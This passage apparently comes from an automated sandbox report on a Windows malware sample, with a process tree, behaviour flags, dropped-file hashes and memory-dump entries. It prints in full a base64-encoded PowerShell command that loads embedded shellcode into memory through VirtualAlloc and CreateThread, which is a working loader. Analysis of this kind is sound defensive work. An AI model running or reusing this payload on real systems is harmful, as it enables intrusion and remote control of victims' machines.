gAMAAyACwAMAB4AGMAOQAsADAAeABlADIALAAwAHgAYwBiACwAMAB4AGEAYwAsADAAeAAwADkALAAwAHgAYgAwACwAMAB4ADUAZAAsADAAeABjADUALAAwAHgAMQBiACwAMAB4AGEAMAAsADAAeABlAGIALAAwAHgAZgA3ACwAMAB4AGUANAAsADAAeAAxADkALAAwAHgANgBlACwAMAB4ADMANwAsADAAeAA2AGUALAAwAHgANgBmACwAMAB4AGYAYQAsADAAeABiAGYALAAwAHgAOABmACwAMAB4AGEAYwAsADAAeAA3ADgALAAwAHgANwBmACwAMAB4AGYAYQAsADAAeABkADcALAAwAHgAZABiACwAMAB4ADQAMwAsADAAeAA1AGIALAAwAHgAZgAwACwAMAB4AGEAMQAsADAAeABiAGMALAAwAHgAOQBjACwAMAB4AGYAZgAsADAAeAA2AGQALAAwAHgANwA1ACwAMAB4ADQAYwAsADAAeAAzADEALAAwAHgAYQAwACwAMAB4ADQAMQAsADAAeABiAGUALAAwAHgAMAA5ACwAMAB4AGYANAAsADAAeAA5AGYALAAwAHgAOABmACwAMAB4ADUAYgAsADAAeABjAGQALAAwAHgAZABmADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABGAGUASwBxAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABGAGUASwBxAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABGAGUASwBxACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAaABJAGYAUwApACkAOwAkAGsANgBFACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQANABjAHAAegAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAA0AGMAcAB6ACAAJABrADYARQAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABrADYARQAgACQAZQAiADsAfQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JABUAHoAcwAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAFQAegBzACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGIAZAAsADAAeAA0ADUALAAwAHgAOAA4ACwAMAB4ADcAZgAsADAAeABiAGEALAAwAHgAZABkACwAMAB4AGMAMQAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQA4ACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADUAZQAsADAAeAA4ADMALAAwAHgAZQA4ACwAMAB4AGYAYwAsADAAeAAzADEALAAwAHgANgA4ACwAMAB4ADEAMAAsADAAeAAwADMALAAwAHgANgA4ACwAMAB4ADEAMAAsADAAeABhADcALAAwAHgANwBkACwAMAB4ADgAMwAsADAAeAA1ADIALAAwAHgAYQA4ACwAMAB4ADcAZQAsADAAeAA3AGMALAAwAHgAYQAzACwAMAB4AGQANgAsADAAeABmADcALAAwAHgAOQA5ACwAMAB4ADkAMgAsADAAeABjADQALAAwAHgANgBjACwAMAB4AGUAOQAsADAAeAA4ADcALAAwAHgAZAA4ACwAMAB4AGUANwAsADAAeABiAGYALAAwAHgAMgBiACwAMAB4ADkAMwAsADAAeABhAGEALAAwAHgAMgBiACwAMAB4AGIAZgAsADAAeABkADEALAAwAHgANgAyACwAMAB4ADYANQAsADAAeAA0ADAALAAwAHgAMQBhACwAMAB4AGMANAAsADAAeABjAGYALAAwAHgAOQA4ACwAMAB4ADEANQAsADAAeABlAGEALAAwAHgANwBjACwAMAB4AGQAOAAsADAAeAAzADQALAAwAHgAOQA2ACwAMAB4ADcAZQAsADAAeAAwAGQALAAwAHgAOQA2ACwAMAB4AGEANwAsADAAeABiADAALAAwAHgANAAwACwAMAB4AGQANwAsADAAeABlADAALAAwAHgAMAA2ACwAMAB4ADIAZQAsADAAeAAzADgALAAwAHgAYgBjACwAMAB4ADEAMwAsADAAeAA4ADIALAAwAHgAZAA2ACwAMAB4AGMAYQAsADAAeAA2ADYALAAwAHgAMQBmACwAMAB4AGQANwAsADAAeAAxAGMALAAwAHgAMwAxACwAMAB4AGQANAAsADAAeAA5ADcALAAwAHgAZQA0ACwAMAB4ADMAYgAsADAAeAAyAGEALAAwAHgANgAzACwAMAB4ADUAOQAsADAAeAA0ADUALAAwAHgANwBiACwAMAB4AGQAYgAsADAAeABlAGEALAAwAHgAMABkACwAMAB4ADYAMwAsADAAeAA1ADAALAAwAHgAYgA0ACwAMAB4AGEAZAAsADAAeAA5ADIALAAwAHgAYgA1ACwAMAB4AGMAMAAsADAAeAA2ADcALAAwAHgAZQAwACwAMAB4ADAANQAsADAAeABmAGEALAAwAHgAOAA4ACwAMAB4ADQAMAAsADAAeABmAGUALAAwAHgAYwA4ACwAMAB4AGYAZAAsADAAeAA1ADIALAAwAHgAZAA2ACwAMAB4ADAAMAAsADAAeABjADIALAAwAHgAZgA5ACwAMAB4ADEANwAsADAAeABhAGQALAAwAHgAYwBmACwAMAB4ADAAMAAsADAAeAA1ADAALAAwAHgAMABhACwAMAB4ADMAMAAsADAAeAA3ADcALAAwAHgAYQBhACwAMAB4ADYAOAAsADAAeABjAGQALAAwAHgAOAAwACwAMAB4ADYAOQAsADAAeAAxADIALAAwAHgAMAA5ACwAMAB4ADAANAAsADAAeAA2AGQALAAwAHgAYgA0ACwAMAB4AGQAYQAsADAAeABiAGUALAAwAHgANAA5ACwAMAB4ADQANAAsADAAeAAwAGUALAAwAHgANQA4ACwAMAB4ADEAYQAsADAAeAA0AGEALAAwAHgAZgBiACwAMAB4ADIAZQAsADAAeAA0ADQALAAwAHgANABmACwAMAB4AGYAYQAsADAAeABlADMALAAwAHgAZgBmACwAMAB4ADYAYgAsADAAeAA3ADcALAAwAHgAMAAyACwAMAB4ADIAZgAsADAAeABmAGEALAAwAHgAYwAzACwAMAB4ADIAMQAsADAAeABlAGIALAAwAHgAYQA2ACwAMAB4ADkAMAAsADAAeAA0ADgALAAwAHgAYQBhACwAMAB4ADAAMgAsADAAeAA3ADYALAAwAHgANwA0ACwAMAB4AGEAYwAsADAAeABlAGIALAAwAHgAMgA3ACwAMAB4AGQAMAAsADAAeABhADcALAAwAHgAMQBlACwAMAB4ADMAMQAsADAAeAA2ADQALAAwAHgANAA4ACwAMAB4AGUAMQAsADAAeAAzAGUALAAwAHgAMwA4ACwAMAB4AGQAZQAsADAAeAA3ADAALAAwAHgAYQA0ACwAMAB4AGIANwAsADAAeAAxAGUALAAwAHgAZQA1ACwAMAB4ADUAMQAsADAAeAA1ADEALAAwAHgANwAwACwAMAB4ADkAYwAsADAAeABjADkALAAwAHgAYwA5ACwAMAB4AGMAMAAsADAAeAAyADkALAAwAHgAZAA0ACwAMAB4ADAAZQAsADAAeAAyADcALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjAGEALAAwAHgAOAA0ACwAMAB4AGYAOAAsADAAeAAxADkALAAwAHgAYgBmACwAMAB4ADcAOQAsADAAeAA5ADcALAAwAHgAYQA3ACwAMAB4ADYAOQAsADAAeAAwADQALAAwAHgAYwAwACwAMAB4ADIANwAsADAAeAA0ADAALAAwAHgAYQA1ACwAMAB4ADUAZAAsADAAeABiADIALAAwAHgANgA4ACwAMAB4ADEAYQAsADAAeAAzADEALAAwAHgAMgBhACwAMAB4ADUANAAsADAAeABiAGEALAAwAHgAYgA1ACwAMAB4AGEAYQAsADAAeAA0ADIALAAwAHgANQBlACwAMAB4AGIANQAsADAAeABhAGEALAAwAHgAOQAyACwAMAB4ADcAMQAsADAAeAA4ADQALAAwAHgAOQBmACwAMAB4AGYANQAsADAAeABlADIALAAwAHgAOQAyACwAMAB4AGYAMgAsADAAeAA4ADAALAAwAHgAOQA0ACwAMAB4ADIAZQAsADAAeAA2AGIALAAwAHgAMQA0ACwAMAB4ADQAOQAsADAAeABlADQALAAwAHgAMQA5ACwAMAB4AGUAMgAsADAAeABlADMALAAwAHgAYQBkACwAMAB4AGUANQAsADAAeAA2ADEALAAwAHgAMgBlACwAMAB4ADIANQAsADAAeAA3ADEALAAwAHgAYgAyACwAMAB4ADcANwAsADAAeABmAGUALAAwAHgAMQBiACwAMAB4AGYAYgAsADAAeAAyADMALAAwAHgAMwA4ACwAMAB4AGUANAAsADAAeABhAGIALAAwAHgAYQAzACwAMAB4ADYAZgAsADAAeAA2AGQALAAwAHgAZAA0ACwAMAB4AGYANQAsADAAeAA2AGYALAAwAHgAYgA4ACwAMAB4ADYAMgAsADAAeAAzAGYALAAwAHgAZABjACwAMAB4ADIAYgAsADAAeAA3ADUALAAwAHgAYgBkACwAMAB4ADgAYgAsADAAeAAyAGYALAAwAHgAMgA2ACwAMAB4ADkAMgAsADAAeAAxADgALAAwAHgANgA3ACwAMAB4ADkAYQAsADAAeAA0ADIALAAwAHgAZgA3ACwAMAB4ADYAYwAsADAAeAA0ADkALAAwAHgANAA0ACwAMAB4ADMAYwAsADAAeAA4AGMALAAwAHgAYQA3ACwAMAB4ADAAZQAsADAAeAAyADgALAAwAHgANwA4ACwAMAB4ADEANwAsADAAeAA3AGQALAAwAHgAZgBlACwAMAB4ADIAZgAsADAAeABmADQALAAwAHgAZAA3ACwAMAB4ADYAOAAsADAAeABmAGQALAAwAHgAZgBjACwAMAB4AGMAZgAsADAAeAAxADMALAAwAHgAMAAyACwAMAB4AGQANQAsADAAeAA2AGEALAAwAHgAMgAzACwAMAB4ADgAOQAsADAAeABjADAALAAwAHgAMQBjACwAMAB4ADIAYwAsADAAeAA2ADEALAAwAHgAZQBkACwAMAB4AGQAYwAsADAAeAA0ADQALAAwAHgAYwAyACwAMAB4ADEAZAAsADAAeABlADkALAAwAHgANwA0ACwAMAB4ADMANQAsADAAeAAwADgALAAwAHgANQBlACwAMAB4ADAAMAAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4ADkAMAAsADAAeAA1AGYALAAwAHgAMAA5ACwAMAB4ADQAYQAsADAAeABhAGYALAAwAHgANwA1ACwAMAB4ADIANAAsADAAeAAzADMALAAwAHgAMgA3ACwAMAB4ADcANgAsADAAeABhADkALAAwAHgAYgAzACwAMAB4AGIANwAsADAAeAAxAGUALAAwAHgAYwA5ACwAMAB4AGIAMwAsADAAeABmADcALAAwAHgAZABlACwAMAB4ADkAYQAsADAAeABkAGIALAAwAHgAYQBmACwAMAB4ADcAYQAsADAAeAA0AGYALAAwAHgAZgA5ACwAMAB4AGIAMAAsADAAeAA1ADYALAAwAHgAZQAzACwAMAB4ADUAMgAsADAAeAAxAGQALAAwAHgAZAAwACwAMAB4AGUAMwAsADAAeAAwADIALAAwAHgAYwA5ACwAMAB4AGUAMgAsADAAeABjAGIALAAwAHgAYQBjACwAMAB4ADAAOQAsADAAeABiADAALAAwAHgANQBkACwAMAB4AGMANQAsADAAeAAxAGIALAAwAHgAYQAwACwAMAB4AGUAYgAsADAAeABmADcALAAwAHgAZQA0ACwAMAB4ADEAOQAsADAAeAA2AGUALAAwAHgAMwA3ACwAMAB4ADYAZQAsADAAeAA2AGYALAAwAHgAZgBhACwAMAB4AGIAZgAsADAAeAA4AGYALAAwAHgAYQBjACwAMAB4ADcAOAAsADAAeAA3AGYALAAwAHgAZgBhACwAMAB4AGQANwAsADAAeABkAGIALAAwAHgANAAzACwAMAB4ADUAYgAsADAAeABmADAALAAwAHgAYQAxACwAMAB4AGIAYwAsADAAeAA5AGMALAAwAHgAZgBmACwAMAB4ADYAZAAsADAAeAA3ADUALAAwAHgANABjACwAMAB4ADMAMQAsADAAeABhADAALAAwAHgANAAxACwAMAB4AGIAZQAsADAAeAAwADkALAAwAHgAZgA0ACwAMAB4ADkAZgAsADAAeAA4AGYALAAwAHgANQBiACwAMAB4AGMAZAAsADAAeABkAGYAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAEYAZQBLAHEAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAEYAZQBLAHEALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAEYAZQBLAHEALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsA
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2860
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bfmxfput.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:928
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB38.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB37.tmp"
        6⤵
        
        PID:2808

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

RESB38.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB38.tmp
Size 1KB
SHA256 1da309e634a83da732218d399c1d892e198db68e966e45c3a323d5e2312a6132
MD5 f812473ba4885422534b75e20e5df332
SHA1 e5438e44b329590788d5b7785a8c46da57042df2
SHA512 8faddd7900dcd25a5748c4aa05b220b8850b2459d611e21e7eaae6e463c52d8f9ce096e85a83434b0fbf361a23ce6b900c4852569ee06de7d5ce8a06546435e5
MD5 SHA1 SHA512

Submit Download

bfmxfput.dll

Path C:\Users\Admin\AppData\Local\Temp\bfmxfput.dll
Size 3KB
SHA256 8824157bc852ebee1ea503bbfc6490bce623b6bb27ee901647ea8056f3538dd2
MD5 aee57649a1de3a6ba5ba40946585403c
SHA1 9b8c7027d244c8f8cb2b77d74fd9d10372c873a0
SHA512 931ac59baa3b408078b996754b2000a65de6ee85aaa3f8e1d33d92f1e4ce217762e83aec1580fe7e6ac1512d19ab5a1495d1a1e8c755e42418350985b5390d92
MD5 SHA1 SHA512

Submit Download

bfmxfput.pdb

Path C:\Users\Admin\AppData\Local\Temp\bfmxfput.pdb
Size 7KB
SHA256 868ae1520cf3096e2a48db5c93c0666eea44cfebb7c8bde8f270e91d5a8ac794
MD5 809bba5d79bf783ee5026d10eef50648
SHA1 eff40bf266a43479e837aaf565a86b377aff2f62
SHA512 223023000d801211f035c5b1dad8d17bc9a9bb3a4c42c7f22289fc9df6e24ad6aca36419adaf69bb5c009ea48bbd57eb7586350f158c50c4f7b212f6c6f315a4
SSDEEP 6:zz/BamfXllNS/4AcBwcNv1mllxrS/77715KZYXxGQu+e0KpYX9AcBwcN6MoGggkI:zz/H1W/4A8NSXS/pw2qoA86MRD
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 387dd4b448e387fd0cdb8ab72ebaca1f20203f98f4ec7b67ed5792e161f0f301
MD5 a2a97b9ed3778f47094d1bb22c2002c7
SHA1 d94a0e9b9072eb692dac913797d4799b9cc588a8
SHA512 2cf2886f3d15cf5c120b186df78bba0ff45c5df18d9393162dcaf5e8edff42b3e60ebf662b66d4358c5eac4fe410a40d80d7bd73d40e3287ab0bcab37a52c92c
SSDEEP 96:EJ2CJM81nqvsqvJCwotJ2CJM81nqvsEHyqvJCworV34/wQHhS7b3mXlUVE:U/BUo7/BAHnorZDcS7rmL
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSCB37.tmp

Path \??\c:\Users\Admin\AppData\Local\Temp\CSCB37.tmp
Size 652B
SHA256 f23748f1cbe4251de605a8c2c1f25bc7dbc944699f60ba79397f992537fe8d67
MD5 f59c3558cb332afad9ef451a0762bc8b
SHA1 143a642ec589e221b04334b578dc8b08ed31bd95
SHA512 89c34b49c64a722abd770b20658103ff2dc66c318f15e83aeabf24a1c127ce5db0f2cf0cb23633cb3a485934ca49844219c85d8c16f329f1797ebbf1a1116f57
MD5 SHA1 SHA512

Submit Download

bfmxfput.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\bfmxfput.0.cs
Size 557B
SHA256 b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc
MD5 7319070c34daa5f6f2ece2dfc07119ee
SHA1 f26a4a48518a5608e93c8b77368f588b0433973c
SHA512 34169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd
MD5 SHA1 SHA512

Submit Download

bfmxfput.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\bfmxfput.cmdline
Size 309B
SHA256 cb5300a977f771c47e7951f15536a01e4426cc1ec5aead149a32058f1c7fbe26
MD5 46aaece3302d707578281b1c68c6367a
SHA1 b99c8ac1745fb480a7876485a0366ed770d2416a
SHA512 0db4b9db2191b046e01dee248453f8824bd582113f4b65d99ac6bb55ddb855f7d21a9b0de04544c83e67b7d91db166d4a7b6221ecc191ded461800976b088977
MD5 SHA1 SHA512

Submit Download

memory/1204-0-0x000000013F570000-0x000000013F593000-memory.dmp

Download

memory/2860-33-0x0000000005090000-0x0000000005091000-memory.dmp

Download

memory/2980-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Download

memory/2980-15-0x00000000022A0000-0x0000000002320000-memory.dmp

Download

memory/2980-14-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Download

memory/2980-8-0x00000000022A0000-0x0000000002320000-memory.dmp

Download

memory/2980-6-0x0000000002370000-0x0000000002378000-memory.dmp

Download

memory/2980-5-0x000000001B150000-0x000000001B432000-memory.dmp

Download